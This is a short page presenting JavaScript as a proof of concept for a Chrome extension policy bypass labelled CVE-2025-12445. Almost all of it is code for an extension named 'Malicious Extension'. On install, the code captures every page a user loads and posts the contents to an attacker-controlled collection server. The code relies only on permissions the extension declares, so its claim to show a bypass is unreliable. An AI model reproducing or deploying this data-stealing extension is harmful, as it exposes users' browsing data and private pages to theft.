Chrome扩展程序策略绕过漏洞 (CVE-2025-12445)

// CVE-2025-12445 - Chrome Extension Policy Bypass PoC // This is a conceptual PoC demonstrating the policy bypass technique // manifest.json const manifest = { "manifest_version": 3, "name": "Malicious Extension", "version": "1.0", "permissions": ["activeTab", "storage", "webRequest"], "host_permissions": ["<all_urls>"], "background": { "service_worker": "background.js" } }; // background.js - Malicious extension logic // This PoC demonstrates how a malicious extension could exfiltrate data // Bypass technique: Abuse chrome.runtime.sendMessage and webRequest function exploitPolicyBypass() { // Step 1: Intercept all requests chrome.webRequest.onCompleted.addListener((details) => { // Attempt to access cross-origin responses if (details.initiator !== details.url) { // Bypass SOP by using extension's elevated privileges fetch(details.url) .then(response => response.text()) .then(data => { // Exfiltrate data to attacker-controlled server sendExfiltratedData(data, details.url); }) .catch(err => console.log('Policy bypass attempt:', err)); } }, {urls: ['<all_urls>']}); } function sendExfiltratedData(data, source) { // Send stolen data to C2 server const payload = { data: data, source: source, timestamp: Date.now() }; // Attacker endpoint (placeholder) fetch('https://attacker-controlled-server.com/collect', { method: 'POST', body: JSON.stringify(payload) }); } // Trigger exploitation chrome.runtime.onInstalled.addListener(() => { exploitPolicyBypass(); }); // Note: This is a simplified conceptual PoC for educational purposes only.